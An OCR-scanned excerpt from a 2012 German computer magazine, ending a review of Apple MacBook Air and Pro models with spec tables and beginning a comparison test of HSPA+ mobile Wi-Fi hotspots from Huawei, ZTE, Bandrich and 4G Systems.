allerdings nicht die Nase vorn,
auBerdem fehlen ihm die Ether-
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net-Schnittstelle, FireWire und
der DVD-Brenner, die man aber
extern anstopseln kann.

Das MacBook Pro 15" ist glins-
tiger und von der Rechenleis-
tung ebenbdirtig - allein die her-
kommliche Festplatte bremst
den Spaf. Das Display erwies
sich als recht gut und reicht von
der Auflésung, wenn man nicht
gerade grafisch anspruchsvolle
Aufgaben etwa im Foto- oder Vi-
deobereich damit bewadltigen
mochte. Die vorgesetzte Scheibe
spiegelt aber deutlich. Wer will,
kann fiir 100 Euro Aufpreis einen
gleich groBen Bildschirm mit 36
Prozent mehr Pixeln (1680 X
1050 statt 1440 x 900) in glén-
zender oder matter Version be-
stellen. Letztere Konfiguration
stellt mit einem Preis von 1980
Euro eine Alternative zum Reti-
na-MacBook dar, die 300 Euro
billiger ist und den doppelten
Speicherplatz mitbringt, aber
keine SSD und nur den halben
Grafikspeicher.

Beim MacBook Pro 13" reicht
die Rechenleistung aus, die Gra-
fikpower fur den typischen
Gamer allerdings nicht. Ein zu-
satzlicher Schwachpunkt ist die
geringe Auflésung des Displays,
das sogar weniger Pixel bietet als
das des MacBook Air 11". Alle Pro-
Modelle eignen sich auch fiir den
Desktop-Einsatz: So braucht man
keinen weiteren Schreibtisch-
Mac, sondern nur einen Monitor
und eine USB-Tastatur. Aufler-
dem ldsst sich bei allen der Ar-
beitsspeicher erweitern, eine gré-
Bere Festplatte einbauen oder
eine SATA-6G-SSD einsetzen.

Das MacBook Air ist mit sei-
nem geringen Gewicht und dem
kleinen Gehéuse als reines Mo-
bilgerat konzipiert. Die Displays
bieten eine hohe Auflésung und
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spiegeln wenig. Beim 11"-Modell
konnte die Darstellung fir man-
che aber schon zu klein sein -
das muss man ausprobieren. Die
SSD-Kapazitdt ist bei allen Stan-
dardkonfigurationen sehr knapp
bemessen. Die 64 GByte im
glinstigsten MacBook Air sind

Das MacBook Air
hat nun auch den
schmaleren Mag-
Safe-2-Strom-
anschluss und
USB 3.0.

sehr schnell gefullt und man
wird sich moglicherweise bald
argern, die 100 Euro mehr fir
das doppelte Speichervolumen
nicht ausgegeben zu haben.
Legt man noch mal 100 Euro
drauf, erhdlt man den etwas
schwereren 13-Z6ller mit mehr

Monitor-Arbeitsflache, groBerer
Darstellung und wesentlich lan-
gerer Akkulaufzeit.

Fazit

Die RenovierungistApplein den
meisten Punkten gelungen. Die
Ivy-Bridge-CPUs und -Chipsatze
bringen mehr Leistungszuwachs
als nach den Gigahertz-Zahlen
erwartet, die Lufter benehmen
sich etwas zivilisierter. Schon ist
auch, dass Apple jetzt durchgén-
gig viel schnellere SSDs einsetzt.
Bei den herkdmmlichen Fest-
platten mag das Beharren auf
den Kapazitdten und der Einsatz
der fur heutige Verhiltnisse

recht langsamen Hitachi-Model-
le manchen enttduschen - hie-
ran tragt wohl aber nicht Apple
die Schuld, sondern die Uberflu-
tung in Thailand. Kritikpunkte
bleiben die geringe Auflésung
des Displays beim MacBook Pro
13" und die spiegelnden Schei-
ben bei den Pro-Modellen. Aber
es gibt ja noch die matten 15-
Zoll-Displays als Option im Apple
Store. Die Preise stiegen gegen-
Uber den Vorgéngern leider in
Deutschland merklich, immerhin
erhalt man dafir bei einigen Mo-
dellen auch doppelt so viel Ar-

MacBook Air 11" MacBook Air 11"
64 GByte 128 GByte
Prozessor Intel Dual-CoreiS, 1,7  Intel Dual-Corei5, 1,7
GHz, Turbo Boost 2,6 GHz, Turbo Boost 2,6
GHz, 3 MByte L3- GHz, 3 MByte L3-
Cache, Ivy Bridge Cache, Ivy Bridge
Arbeitsspeicher 4GByte DDR3-1600, 4 GByte DDR3-1600,
verlotet, verlotet,
optional 8 GByte optional 8 GByte
Festplatte Apple SSD TS064E Apple SSD TS128E
(Toshiba), 64 GByte, (Toshiba), 128 GByte,
SATA 66, SATA 6G,
Lesen: 520 MByte/s,  Lesen: 516 MByte/s,
Schreiben: Schreiben:
461 MByte/s 468 MByte/s
optisches Laufwerk
Grafik Intel HD Graphics Intel HD Graphics
4000, 384 MByte 4000, 384 MByte
(shared) (shared)
Display 11,6" TN, LED, 11,6" TN, LED,
spiegelnd, spiegelnd,
1366 x 768 Punkte, 1366 X 768 Punkte,
16:9, max. Helligkeit ~ 16:9, max. Helligkeit
320 cd/m?, 317 cd/m?,
Kontrast 923:1, Kontrast 923:1,
Blickwinkel Blickwinkel
horizontal 80°/80°, horizontal 80°/80°,
vertikal 80°/60° vertikal 80°/60°
Audio 1 Kombi-Buchse filr 1 Kombi-Buchse fiir
Kopfhdrer/analog Kopfhorer/analog
In/digital-optisch Out  In/digital-optisch Out
sonstige Ausstattung, FaceTime-HD-Kamera, ~FaceTime-HD-Kamera,
Anschliisse und 801n-WLAN, Blue- 801n-WLAN, Blue-
Netzwerk tooth 4.0, Thunder-  tooth 4.0, Thunder-

bolt, 800, 2 X USB 3.0,
Stereo-Lautsprecher,

Mikrofon, Multitouch-
Trackpad, beleuchtete

bolt, 800, 2 x USB 3.0,
Stereo-Lautsprecher,

Mikrofon, Multitouch-
Trackpad, beleuchtete

Tastatur, Mac 0S X Tastatur, Mac 0S X
10.7.4, iLife'1 10.7.4, iLife'1

Gewicht, MaBe 1,08kg, 30,0 cm X 1,08 kg, 30,0 cm X

(BXHXT) 19,2mx 1,7 cm 19,2cm x 1,7 cm

Akku (Laufzeit) 35 Wh, Lithium- 35Wh, Lithium-
Polymer fest verbaut  Polymer fest verbaut
(leichte Last 100 cd/m?  (leichte Last 100 cd/m?
7:19h, volle Helligkeit ~ 7:40 h, volle Helligkeit
4:56 h) 5:06 h)

Gerausche [Sone] Betrieb <0,1, Betrieb <0,1,
Volllast:CPU0,9, Volllast: CPU 0,5,
GPU 2,0 GPU1,8

Preis 1050 € 150 €
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MacBook Air 13"
128 GByte

Intel Dual-Core i5, 1,8
GHz, Turbo Boost 2,8
GHz, 3 MByte L3-
Cache, Ivy Bridge

4 GByte DDR3-1600,
verlgtet,

optional 8 GByte

Apple SSD TS128E
(Toshiba), 128 GByte,
SATA 66,

Lesen: 516 MByte/s,
Schreiben:

472 MByte/s

Intel HD Graphics
4000, 384 MByte
(shared)

13,3"TN, LED,

MacBook Air 13"
256 GByte

Intel Dual-Core i5, 1,8
GHz, Turbo Boost 2,8
GHz, 3 MByte L3-
Cache, Ivy Bridge

4 GByte DDR3-1600,
verlgtet,

optional 8 GByte

Apple SSD SM256E
(Samsung), 256 GByte,
SATA 66,

Lesen: 487 MByte/s,
Schreiben:

375 MByte/s

Intel HD Graphics
4000, 384 MByte
(shared)

13,3"N, LED,

1440 % 900 Punkte, 1440 % 900 Punkte,
16:10, max. Helligkeit ~ 16:10, max. Helligkeit
322 cd/m?, 294 cd/m?,

Kontrast 860:1, Kontrast 860:1,
Blickwinkel Blickwinkel

horizontal 80%80°,
vertikal 80°/80°

1 Kombi-Buchse fiir
Kopfhorer/analog
In/digital-optisch Out

FaceTime-HD-Kamera,
SD-Cardslot, 801n-
WLAN, Bluetooth 4.0,
Thunderbolt, 800,

2 USB 3.0, Stereo-
Lautsprecher, Mikro-
fon, Multitouch-Track-
pad, beleuchtete
Tastatur, Mac 0S X
10.7.4, iLife '

1,35kg, 32,5 cm X
22,7cmXx 1,7 cm

50 Wh, Lithium-
Polymer fest verbaut
(leichte Last 100 cd/m?
10:04 h, volle Hellig-
keit7:19 h)

Betrieb <0,1,

Volllast: CPU 0,6,
GPU2,5

1250 €

horizontal 80°/80°,
vertikal 80°/80°

1 Kombi-Buchse fiir
Kopfhorer/analog
In/digital-optisch Out

FaceTime-HD-Kamera,
SD-Cardslot, 801n-
WLAN, Bluetooth 4.0,
Thunderbolt, 800,

2 USB 3.0, Stereo-
Lautsprecher, Mikro-
fon, Multitouch-Track-
pad, beleuchtete
Tastatur, Mac 0S X
10.7.4, iLife '11

1,35kg, 32,5 cm X
22,7cmXx1,7cm

50 Wh, Lithium-
Polymer fest verbaut
(leichte Last 100 cd/m?
10:38 h, volle Hellig-
keit7:09h)

Betrieb <0,1,

Volllast: CPU 0,7,
GPU2,5

1550 €

MacBook Pro 13"
2,5GHz

Intel Dual-Core i5, 2,5
GHz, Turbo Boost 3,1
GHz, 3 MByte L3-
Cache, vy Bridge
4GByte DDR3-1600, 2
SO-DIMMs, 2 Slots,
max. 8 GByte

Apple HDD
HTS547550A9E384
(Hitachi), 500 GByte,
2,5", SATA, 5400 min™",
Lesen:75,5 MByte/s,
Schreiben:

77,9 MByte/s

8X DVD-Brenner,
Matsushita UJ-8A8

Intel HD Graphics
4000, 384 MByte
(shared)

13,3"TN, LED,
spiegelnd mit Scheibe,
1280 % 800 Punkte,
16:10, max. Helligkeit
289 cd/m?,

Kontrast 1085:1,
Blickwinkel

horizontal 80°/80°,
vertikal 80°/70°

1 Kombi-Buchse filr
Kopfhorer/analog
In/digital-optisch Out

FaceTime-HD-Kamera,
SD-Cardslot, Gigabit-
Ethernet, 802.11n-
WLAN, Bluetooth 4,
Thunderbolt, FireWire
800,2x USB 3.0,
Stereo-Lautsprecher,
Mikrofon, Multitouch-
Trackpad, beleuchtete
Tastatur, Mac 0S X
10.7.4,iLife 1
2,04kg, 32,5 cm X
22,7cmX2,4cm

63,5Wh, Lithium-
Polymer fest verbaut
(leichte Last 100 cd/m?
9:49h, volle Helligkeit
7:34h)

Betrieb <0,1,HD <0,1,
DVD 0,1, Volllast:
(PU<0,1,GPU 2,2

1250 €

beitsspeicher. (jes)
www.ct.de/1215088
MacBook Pro 13" MacBook Pro 15" MacBook Pro 15"
2,9GHz 2,3 GHz 2,6 GHz

Intel Dual-Core i7, 29
GHz, Turbo Boost 3,6
GHz, 4 MByte L3-
Cache, vy Bridge

8 GByte DDR3-1600, 2
S0-DIMMs, 2 Slots,
max. 8 GByte

Toshiba MK7559GSXF,
750 GByte, 2,5", SATA,
5400 min~",

Lesen: 102,9 MByte/s,
Schreiben:

102,1 MByte/s

8X DVD-Brenner, LG
GS3IN

Intel HD Graphics
4000, 512 MByte
(shared)

13,3" N, LED,
spiegelnd mit Scheibe,
1280 % 800 Punkte,
16:10, max. Helligkeit
288 cd/m?,

Kontrast 1085:1,
Blickwinkel
horizontal 80°/80°,
vertikal 80°/70°

1 Kombi-Buchse filr
Kopfharer/analog
In/digital-optisch Out

FaceTime-HD-Kamera,
SD-Cardslot, Gigabit-
Ethernet, 802.11n-
WLAN, Bluetooth 4,
Thunderbolt, FireWire
800,2 < USB 3.0,
Stereo-Lautsprecher,
Mikrofon, Multitouch-
Trackpad, beleuchtete
Tastatur, Mac 0S X
10.7.4, iLife ' 11
2,04kg, 32,5 mXx
22,7cmx24m
63,5 Wh, Lithium-
Polymer fest verbaut
(leichte Last 100 cd/m?
9:16 h, volle Helligkeit
6:58h)
Betrieb0,1,HD 0,1,
DVD 0,2, Volllast:
(PU1,6,GPU 2,5
1550 €

Intel Quad-Core i7, 2,3
GHz, Turbo Boost 3,3
GHz, 6 MByte L3-
Cache, Ivy Bridge

4 GByte DDR3-1600, 2
SO-DIMMs, 2 Slots,
max. 8 GByte

Apple HDD
HTS547550A9E384
(Hitachi), 500 GByte,
2,5", SATA, 5400 min™",
Lesen: 78,2 MByte/s,
Schreiben:

79,8 MByte/s

8X DVD-Brenner, LG
GS31N

Nvidia GeForce GT
650M, 512 MByte
VRAM sowie Intel HD
4000, 384 MByte
(shared)

15,4" N, LED,
spiegelnd mit Scheibe,
1440 % 900 Punkte,
16:10, max. Helligkeit
302 cd/m?,

Kontrast 1030:1,
Blickwinkel

horizontal 80°/80°,
vertikal 80°/70°

2 Kombi-Buchsen filr
Kopfharer/digital-
optisch Out und analog
In/digital-optisch In
FaceTime-HD-Kamera,
SD-Cardslot, Gigabit-
Ethernet, 802.11n-
WLAN, Bluetooth 4,
Thunderbolt, FireWire
800,2x USB 3.0,
Stereo-Lautsprecher,
Mikrofon, Multitouch-
Trackpad, beleuchtete
Tastatur, Mac 0S X
10.7.4, iLife 1

2,54 kg, 36,4 am X
249mx2,4m

77,5 Wh, Lithium-
Polymer fest verbaut
(leichte Last 100 cd/m?
10:18 h, volle Hellig-
keit 7:37 h)

Betrieb <0,1, HD <0,1,
DVD 0,3, Volllast:
CPUO0,8,GPU1,9

1880 €

Intel Quad-Core i7, 2,6
GHz, Turbo Boost 3,6
GHz, 6 MByte L3-
Cache, vy Bridge

8 GByte DDR3-1600, 2
S0-DIMMs, 2 Slots,
max. 8 GByte

Apple HDD
HTS547575A9E384
(Hitachi), 750 GByte,
2,5",SATA, 5400 min~",
Lesen: 89,5 MByte/s,
Schreiben:

90,6 MByte/s

8X DVD-Brenner, LG
GS3IN

Nvidia GeForce GT
650M, 1024 MByte
VRAM sowie Intel HD
4000, 512 MByte
(shared)

15,4" TN, LED,
spiegelnd mit Scheibe,
1440 % 900 Punkte,
16:10, max. Helligkeit
289 cd/m?,

Kontrast 1030:1,
Blickwinkel

horizontal 80°/80°,
vertikal 80°/70°

2 Kombi-Buchsen fiir
Kopfhdrer/digital-
optisch Out und analog
In/digital-optisch In
FaceTime-HD-Kamera,
SD-Cardslot, Gigabit-
Ethernet, 802.11n-
WLAN, Bluetooth 4,
Thunderbolt, FireWire
800,2x USB3.0,
Stereo-Lautsprecher,
Mikrofon, Multitouch-
Trackpad, beleuchtete
Tastatur, Mac 0S X
10.7.4, iLife "1

2,54 kg, 36,4 cm X
249mx 2,4 m

77,5 Wh, Lithium-
Polymer fest verbaut
(leichte Last 100 cd/m?
9:55 h, volle Helligkeit
7:26h)

Betrieb <0,1,HD <0,1,
DVD 0,4, Volllast:

(PU 32, GPU 2,4

280 €
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Trotz LTE werden UMTS-Mobilfunknetze
eifrig weiterentwickelt und ausgebaut -
weil UMTS mit dem Turboverfahren HSPA+
den Abstand zu LTE verkirzt und weil LTE al-
lein die Nachfrage nach schnellen Daten-
diensten noch gar nicht decken kann. In die-
sem Kielwasser fahren auch mobile Hotspots
mit — Mobilfunk-Routerchen von allenfalls
HandtellergréRe, die per WLAN kleine Nut-
zergruppen mit Internet versorgen. Viele
bringen auch Fileserver-Funktionen und
einen Slot fir microSD-Karten mit.

Sie eignen sich prima als Internet-Zubrin-
ger im Zug, Auto oder Camping-Platz, sprin-
gen aber auch in die Bresche, wenn der DSL-
Anschluss ausgefallen ist. Dem dauerhaften
DSL-Ersatz stehen aber die zu knapp bemes-
senen Tarife im Weg; die meisten Anbieter
drosseln die erfreulich hohe Datenrate nach
wenigen GByte Ubertragungsvolumen auf
ISDN-Niveau herunter. Vergleichstabellen
flr Pre- und Postpaid-Tarife inklusive der
maximalen Ubertragungsvolumen und der
Drosselungsgrenzen liefert beispielsweise
teltarif.de.

Prinzipiell kommen Smartphones mit Te-
thering-Funktion fiir dieselben Anwendun-
gen in Frage; die Funktion lasst sich leicht fur
Bluetooth, WLAN und USB einschalten (iPho-
ne: ,Einstellungen”, ,Persénlicher Hotspot”,
Android: ,Drahtloseinstellungen”, ,mobiler
Hotspot”). Smartphones eignen sich aber
nicht so gut als Router, weil sie mehr Ver-
braucher haben (Telefon-Dienst, stromhung-
rige Displays ...). Nur wenige aktuelle
Smartphones haben bereits HSPA+ oder File-
server-Funktionen ab Werk an Bord.

Die aktuellen mobilen Hotspots kann man
grob in zwei Gruppen einordnen: Der Grof3-
teil ist fUr die etablierte HSPA+-Ausbaustufe
mit brutto bis zu 21,6 MBit/s ausgelegt, die
2011 zundchst im Mobilfunknetz von Voda-
fone Einzug hielt. Langsame Geréte, die also
wie der optisch durchaus hiibsch geratene
ZTE MF30 per HSDPA nur bis zu 7,2 MBit/s
empfangen, schopfen die Leistung der mo-
dernen Zellen schon bei mittelprachtiger
Funkanbindung nicht aus und kommen
dahernichtin Frage.

Einen ersten Vertreter der HSPA+-Katego-
rie haben wir mit dem Bandrich BandLuxe
PR39 bereits getestet [1]. Zu diesem gesellen
sich der Huawei E586Bs-2 und E586Es, der
XSBoxGoPlus von 4G Systems und der MF62
von ZTE.

Die zweite Gruppe bildet hierzulande die
Speerspitze der HSPA+-Entwicklung, sie er-
reicht bis zu 42,4 MBit/s (LTE-Funker liefern
bis zu 50 MBit/s). Zur dieser zweiten Gruppe
gehoren der Huawei E587u-2 und der ZTE
MF8O0. Sie spielen ihre Geschwindigkeitsvor-
teile zurzeit nur im Netz der Telekom aus, die
die Mehrzahl ihrer UMTS-Mobilfunkzellen in-
zwischen mit der auch DC-HSPA+ genannten
Technik aufgerustet hat. DC steht fir Double
Carrier, nutzt also zur Ubertragung zum Teil-
nehmer zwei anstatt nur einen 5 MHz breiten
Trager.

Manche der Testkandidaten sind bei Netz-
betreibern unter anderen Namen erhéltlich.
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Beispielsweise gibt es den E586Es bei Voda-
fone unter der Bezeichnung R205 und den
ZTE MF62 bei T-Mobile Austria als ,Web
Box 4G". Die Mobilfunkhersteller haben zwar
noch weitere HSPA+-Vertreter im Programm,
aber die sind derzeit in Deutschland nicht am
Markt.

Her und hin ...

In Senderichtung liefert die HSPA+-Technik
wegen der knappen Ressourcen der Mobil-
funkgerate noch deutlich geringere Daten-
raten. Laut Spezifikation kénnte die aktuelle
Gerategeneration immerhin schon bis zu
11,5 MBit/s senden. Gegenwartig bauen die
Hersteller aber nur Chipsdtze ein, die
5,76 MBit/s erreichen, also nicht mehr als die
Vorgadngergeneration. Maximale Datenraten,
WLAN-Sicherheit, Ausstattungs- und Bedie-
nungsmerkmale und anderes mehr, das
Ihnen bei der Auswahl hilft, finden Sie in der
Tabelle ab Seite 98.

Etliche weitere HSPA+-Verfahren sind zwar
spezifiziert [2, 3], aber langst nicht alle werden
in allen Netzen implementiert. Das gilt bei der
Telekom derzeit fur die Ausbaustufen mit
28 MBit/s und 35,28 MBit/s. Beide setzen in
der Basisstation die Mehrantennentechnik
MIMO voraus (Multiple Input, Multiple Out-
put), mittels der sich mehrere raumlich ge-
trennte Datenstrome zum Teilnehmer senden
lassen. Die Besttickung der Basisstationen mit
MIMO-Antennen ist aber aufwendig, sodass
man zumindest vorldufig auf einfachere Ver-
fahren setzt. Hingegen liefert moderne Sys-
temtechnik die 42,4 MBit/s ,einfach” mittels
einer hoherwertigen Modulation und durch
Zusammenschalten zweier Trager.

Die Testkandidaten sind nicht auf Netze
bestimmter Betreiber eingeschrankt (kein
SIM-Lock), duBerlich verandert oder auf pro-
prietdre Dienste zugeschnitten (kein Bran-
ding). Man kann sie tber den Fach- und On-
line-Handel beziehen, in der Regel nur mit
englischen Kurzanleitungen. Der Handler
wlan-unterwegs.de legteigene deutschspra-
chige Versionen bei. Neuerdings bietet er zu
manchen Gerdten auch Ersatzakkus mit
deutlich erhohter Kapazitat mit passendem,
starker gewolbtem Gehdusedeckel aus eige-
ner Fertigung.

Wie alle aktuellen Mobilfunkgerate kom-
men die Kandidaten umso naher an den ma-
ximal mdglichen Durchsatz heran, je besser
die Empfangsbedingungen sind. Den Durch-
satz driicken Funkstoérungen, die Entfernung
zur Basisstation oder auch weitere Teilneh-

U load
BandRich BandLuxe PR39 [
Huawei E586Bs-2 I 415/437
Huawei ES86Es I 415/429
Huawei E587u-2 I 430/437
XSBoxGoPlus - 422/447
ITEMF62 W 452/463
ITE MF80 I 424/434
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mer in einer Zelle, die entweder telefonieren
oder ebenfalls surfen. Bei stationdrer Nut-
zung mit schlechtem Empfang kann eine ex-
terne Antenne helfen. Nicht alle Teilnehmer
sind aber mit Anschlissen fir externe Anten-
nen ausgestattet (siehe Tabelle).

Die unten auf der Seite angegebenen
Durchsatzraten sind in einer Uberdurch-
schnittlich guten Empfangslage bei nur we-
nigen weiteren Teilnehmern ermittelt wor-
den (mindestens -60 dBm, meist deutlich
besser). Die Empfangsqualitat war durchge-
hend fiir DC-HSPA+-Verbindungen gut ge-
nug. Die haben nattrlich nur zwei Kandida-
ten aufgebaut, die Ubrigen waren einen
Gang langsamer.

Akkuknauserer

Typisch fir diese Gerateklasse sind die inte-
grierten Antennen und die gerade mal fin-
gernagelgrof3en Displays, die nur die aller-
wichtigsten Statusinformationen fir kurze
Zeit einblenden - um Strom zu sparen. Um
es wieder zu aktivieren, gentigt beiallen Ge-
raten ein kurzer Druck auf die Einschalt-
Taste.

Ebenfalls aus Stromspargrinden versor-
gen die Router nur wenige WLAN-Teilneh-
mer (siehe Tabelle). Im XSBoxGoPlus und im
BandLuxe PR39 stecken nur WLAN-Module
gemal der IEEE-Norm 802.11g; sie liefern
also brutto nicht mehr als 54 MBit/s. Das ist
fur die implementierte HSPA+-Stufe immer
noch schnell genug. Die tibrigen Kandidaten
sind mit modernen 802.11n-Bausteinen be-
stlickt, die aus Stromspargrinden nur Brut-
toraten bis zu 72 MBit/s erreichen. Damit
sind sie bei WLAN-zu-WLAN-Ubertragungen
immerhin ein wenig schneller als 802.11g.

Einige Router enthalten Mobil-Versionen
ihrer Webinterfaces. So kann man per
Smartphone die wichtigsten Optionen
leicht abfragen und einstellen. Alle Kandida-
ten sind mit wechselbarem Akku und mi-
croSD-Slots ausgestattet. Keiner der Herstel-
ler hat seinem Mini-Router das moderne
IPv6 spendiert. Jedoch stecken mit IPv6
auch die Netzbetreiber noch in der Pla-
nungsphase, sodass das noch kein kaufent-
scheidendes Kriterium ist.

Wie Ublich, haben die Mobilfunkmodems
den Empfangspegel von UMTS- und GSM-
Zellen zugleich im Auge und wechseln auto-
matisch zum gerade besser empfangbaren
Netz. Dabei schalten sie ab Werk nach Gut-
dinken und Netzmoglichkeiten auf die lang-
sameren Techniken EDGE und GPRS zurtick.

o 1000/1100
I 1000/1100
e 1800/2700

I % 2400/2800
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USB-Sauger

Mobilfunkrouter konnen prinzipiell auch tber
einen USB-Port daran angekoppelte Laptops
mit Internet versorgen; im Gegenzug bekom-
men sie vom Laptop Strom via USB. Dafir
halten alle bis auf den XSBoxGoPlus Mac- und
Windows-Treiber fir Ethernet via USB auf se-
paratem, automatisch eingebundenem
Flash-Speicher vor. Im Test liefen sie sich so
an Mac OS X 10.7.x und Windows 7 betreiben.
Uber die Einrichtungsassistenten lassen
sich die wichtigsten Einstellungen flink zu-
sammenklicken: Das sind der APN (der Zu-
gangspunkt zu einem Netz), der Name des
WLANSs (SSID) und das Passwort zur Ver-
schlisselung. Alle Kandidaten stellen den
richtigen APN auf Wunsch anhand der SIM-
Kartenkennung des Betreibers automatisch
ein. Der APN lasst sich bei allen aber auch per
Hand eintragen. Das ist bei Prepaid-Tarifen
wichtig, weil diese Angebote mit eigenen
APNs kombiniert sind. Einige Gerdte sind
WLAN-seitig mitsamt SSID und Passwort be-
reits individuell ab Werk vorkonfiguriert; die
Daten sind innen im Gerét aufgeklebt. Damit
ist die Grundeinrichtung bereits erledigt.
Zusatzlich 13sst sich aber noch die Gewich-
tung fiir langsame GSM oder schnellere UMTS-
Verbindungen dndern. Das kann in ungtinsti-
gen Empfangslagen praktisch sein. Uber die
Web-Interfaces der Gerate wird auch der File-
service fir die optionale microSD-Card einge-

Der Huawei E586Bs-2 erreicht dank seiner
Stromsparmechanismen trotz mittelpréach-
tiger Akku-Kapazitat gute Laufzeiten.
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Einer der ersten HSPA+-Mobilhotspots
am Markt: BandLuxe PR39

schaltet. Das klappte im Test mit
dem Huawei E586Bs-2 und dem
E586Es jedoch nicht.

BandLuxe PR39

Der Bandrich BandLuxe PR39 er-
schien bereits vor Gber einem Jahr
als einer der ersten HSPA+-Mobil-
hotspots am Markt. Seither ist er unverdn-
dert; er steckt in einer handtellergro3en, un-
aufdringlich eleganten Schachtel, hat ein LC-
Display, einen Anschluss flir eine externe An-
tenne und innen, unterm Akku einen
Steckplatz fur microSD-Kartchen. So eignet
sich der Slot naturlich nicht fir den Hotplug-
Betrieb, denn um ein Kartchen einzustecken,
muss man den Akku entfernen und schaltet
dadurch den Router aus. Bei anderen Kandi-
datenist der WPA-Key innen im Gehdusede-
ckel aufgedruckt, beim BandLuxe muss man
ein separates Dokument suchen.

Die Firmware ist unverstandlicherweise
unverdndert, sodass auch die eigentlich
leicht auszumerzenden Konzeptschwachen
geblieben sind. So merkt sich das Gerat die
PIN nicht, die Eingabe ist nach jedem Neu-
start erforderlich. Will man anderen WLAN-
Teilnehmern den Zugriff auf die Speicherkar-
te gewdhren, muss man ihnen das Admin-
Passwort verraten.

USB und WLAN sind verschiedenen
Subnetzen zugeordnet (192.168.21.1 und
192.168.100.1); man kann nichtbeide auf das
gleiche Subnetz einstellen. Immerhin routet
das Gerdt ab Werk zwischen beiden, sodass
ein per USB angeschlossener Client auf die
WLAN-Stationen zugreifen kann und umge-
kehrt. Das wird freilich erschwert, weil
Broadcasts wie NetBios und Multicasts wie
Bonjour nicht zwischen Subnetzen tibermit-
telt werden.

Schnell und nur wenig groBer als eine
Streichholzschachtel ist der E586Es von
Huawei.

Die Web-Anzeige stimmt nicht immer mit
der Statusanzeige im Display Uberein. Im
Test kam es vor, dass WLAN aus war, obwohl
das Web-Interface anzeigte, dass es einge-
schaltet war.

Ein Versuch der OpenWRT-Entwickler, das
freie Router-Betriebssystem darauf anzupas-
sen, verlief bisher erfolglos. Schade, denn die
Hardware hat sehr gute Anséatze — mit etwas
Firmware-Politur konnte der BandLuxe noch
gut mit den ganz jungen Kandidaten mithal-
ten. Vom Hersteller ist da aber anscheinend
nichts mehr zu erwarten.

Huawei E586Bs-2

Der E586Bs-2 ldsst sich nur bei genauem
Hinsehen von Huaweis Mobil-Router-Urahn
E5 unterscheiden - er steckt im gleichen
ovalen, an eine Miniseife erinnernden Ge-
hduse. Das Innenleben ist jedoch erheblich
aufgewertet.

Der E586Bs-2 hat wie der BandLuxe ein
HSPA+-Modem fur bis zu 21,6 MBit/s an
Bord, erreichte im Test aber dank besseren
Stromsparmechanismen trotz deutlich klei-
nerer Akku-Kapazitét langere Laufzeiten.

Ein dicker Patzer ist Huaweis Qualitats-
kontrolle anscheinend entgangen: Der
E586Bs-2 kann eine eingesteckte microSD-
Karte nicht im WLAN freigeben. Zundchst
fehlt auf der Startseite das User-Interface
fur die Freigabe. Mit ein bisschen Erfahrung
findet man es zwar unter dem Huawei-
Ublichen Pfad ,192.168.1.1/html/sdcard
sharing.html”. Aber trotz diverser Versuche
und Router-Neustarts lieB sich keine Web-
sharing-Option mit irgendeinem gangigen
Browser einschalten; wir haben Firefox, In-
ternet Explorer und Safari ausprobiert.
Als einziger Ausweg bleibt, den Router
Uber USB anzukoppeln und die Speicher-
karte  WLAN-Teilnehmern per Windows-
oder Mac-OS-X-Freigabe zur Verfiigung zu
stellen.

Wenn die Ingenieure schon dabei sind,
den Interface-Fehler zu beheben, sollten sie
auch erwdgen, eine gut leserliche Beschrif-

Schnell, aber auch schnell
heiB3: Huaweis Topmodel
E587u-2
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tung fir die Orientierung der microSD-Karte
am Gehduse anzubringen.

Huawei E586Es

Huawei steckt seine jlingeren Mobilfunkrou-
ter in Gehduse mit abgerundeten Ecken.
Unter diesenistder E586Es nur wenig groRBer
als eine Streichholzschachtel. Die Tasten las-
sen sich dank deutlicherem Druckpunkt bes-
ser bedienen als noch beim E5 oder dem
E586Bs-2. Die Reset-Taste und die Antennen-
buchse sind unter einer gemeinsamen Klap-
pe verborgen.

Im E586Es steckt anscheinend dasselbe
Betriebssystem wie im E586Bs-2. Jedenfalls
gleichen sich die Webinterfaces bis aufs
Haar, auch beziglich des defekten Fileser-
vice. Im Test irritierte das Gerat einmal nach
dem Wiedereinsetzen des Akkus mit der Mel-
dung ,Battery Error”. Nach dem Druck auf
den Einschaltknopf verschwand die Meldung
und der Akku wie auch der gesamte Router
verrichteten im Weiteren unaufféllig und zu-
verldssig ihren Dienst.

Huawei E587u-2

Huaweis Topmodell unter den Mobilfunk-
Routern ist der E587u-2. Der E587u-2 steckt
in einem hiibschen Gehause, die Tastenbe-
schriftung lasst sich gut ablesen und der De-
ckel lasst sich leicht entfernen. Der angeraute
Gehduseboden erschwert das Rutschen auf
schiefen Ebenen wie Autoablagen und der
Akku wartet mit einer Gberdurchschnittli-
chen Kapazitdt von 2200 mAh auf. Die mi-
croSD-Karte lasst sich nur einstecken oder
abziehen, wenn man das Gehause 6ffnet und
den Akku entfernt.

Das Gerat nutzt als eines der ersten Uber-
haupt den HSPA+-Modus ,Double Carrier”
fur brutto bis zu 42,2 MBit/s und erzielt so fur
diese Gerateklasse sehr hohe Durchsdtze. Im
Test waren in Empfangsrichtung im Mittel
netto 1,7 bis 1,8 MByte/s zu verzeichnen.
Wenn Huawei die Stabilitat verbessert, dlrfte
sogar deutlich mehr drin sein, denn kurzfris-

Erzielte durchweg etwas hoheren Durch-
satzals andere Kandidaten mit gleich
schnellem Mobilfunkmodem: XSBoxGoPlus

C't2012, Heft 15

tig erreichte es immer wieder sogar 2,5 bis
2,7 MByte/s, fiel dann aber ab.

Schon nach kurzem Betrieb wird das Ge-
hduse an einer Ecke merklich heif. Huawei
bezeichnet das in einer FAQ als normal und
nicht weiter besorgniserregend. Im Winter
hat man also zusétzlich einen Handwéarmer.

Das Display liefert Huawei-Ublich die
wichtigsten Statusinformationen auf einen
Blick: Die verbleibende Akku-Kapazitat, Emp-
fangspegel, Netzbetreiber, Internetverbin-
dung, Ubertragungsverfahren, Anzahl der
WLAN-Clients, das aktuell Gibertragene Volu-
men sowie die Dauer der Onlineverbindung.

Huawei hat dem E587u-2 zwar Ethernet-
USB-Treiber fur Mac und Windows mitgege-
ben, aber keinen Hinweis zur Installation und
Nutzung, sodass man ein wenig probieren
muss. Anders als bei den beiden kleineren
Huawei-Brudern funktioniert beim E587u-2
auch das Filesharing. Der Administrator hat
dabei alle Zugriffsrechte. WLAN-Teilnehmern
kann er nur Lese- oder Lese- und Schreib-
rechte gewédhren. Mangels einer echten
User-Datenbank sind detaillierte Authentifi-
zierungen nicht méglich.

XSBoxGoPlus

Im XSBoxGoPlus von 4G Systems aus Ham-
burg steckt ein HSPA+-Modem fur bis zu
